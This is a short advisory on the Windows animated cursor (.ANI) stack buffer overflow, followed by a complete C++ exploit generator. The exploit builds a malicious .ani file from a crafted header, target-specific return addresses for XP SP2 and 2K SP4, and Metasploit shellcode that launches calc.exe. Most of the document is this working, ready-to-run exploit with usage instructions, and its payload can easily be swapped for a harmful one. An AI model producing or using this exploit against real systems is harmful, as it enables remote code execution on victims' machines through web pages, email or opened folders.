Microsoft Windows animated cursors buffer overflow

I. Description



  A stack buffer overflow exists in the code that Microsoft Windows

  uses to processes animated cursor files. Specifically, Microsoft

  Windows fails to properly validate the size of an animated cursor

  file header supplied in animated cursor files.



  Animated cursor files can be included with HTML files. For

  instance, a web site can use an animated cursor file to specify the

  icon that the mouse pointer should use when hovering over a

  hyperlink. Because of this, malicious web pages and HTML email

  messages can be used to exploit this vulnerability. In addition,

  animated cursor files are automatically parsed by Windows Explorer

  when the containing folder is opened or the file is used as a

  cursor. Because of this, opening a folder that contains a specially

  crafted animated cursor file will also trigger this vulnerability.



  Note that Windows Explorer will process animated cursor files with

  several different file extensions, such as .ani, .cur, or .ico.

  Furthermore, Windows will automatically render animated cursor

  files referenced by HTML documents regardless of the animated

  cursor file extension.



  This vulnerability is actively being exploited.



  More information is available in Vulnerability Note VU#191609.





II. Impact



  A remote, unauthenticated attacker may be able to execute arbitrary

  code. Exploitation may occur when a user clicks a malicious link,

  reads or forwards a specially crafted HTML email, or accesses a

  folder containing a malicious animated cursor file.





#include <iostream>

/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

/* Shellcode - metasploit exec calc.exe ^^ */
unsigned char uszShellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\tWindows XP SP2 [0]\n"
"\tWindows 2K SP4 [1]\n\n"
"Usage: ani.exe <target> <file>";

typedef struct {
const char *szTarget;
unsigned char uszRet[5];
} TARGET;

TARGET targets[] = {
{ "Windows XP SP2", "\xC9\x29\xD4\x77" }, /* call esp */
{ "Windows 2K SP4", "\x29\x4C\xE1\x77" }
};

int main( int argc, char **argv ) {
char szBuffer[1024];
FILE *f;

if ( argc < 3 ) {
printf("%s\n", szIntro );
return 0;
}

printf("[+] Creating ANI header...\n");
memset( szBuffer, 0x90, sizeof( szBuffer ) );
memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

printf("[+] Copying shellcode...\n");
memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 );

printf("%s\n", argv[2] );
f = fopen( argv[2], "wb" );
if ( f == NULL ) {
printf("[-] Cannot create file\n");
return 0;
}

fwrite( szBuffer, 1, 1024, f );
fclose( f );
printf("[+] .ANI file succesfully created!\n");
return 0;
}
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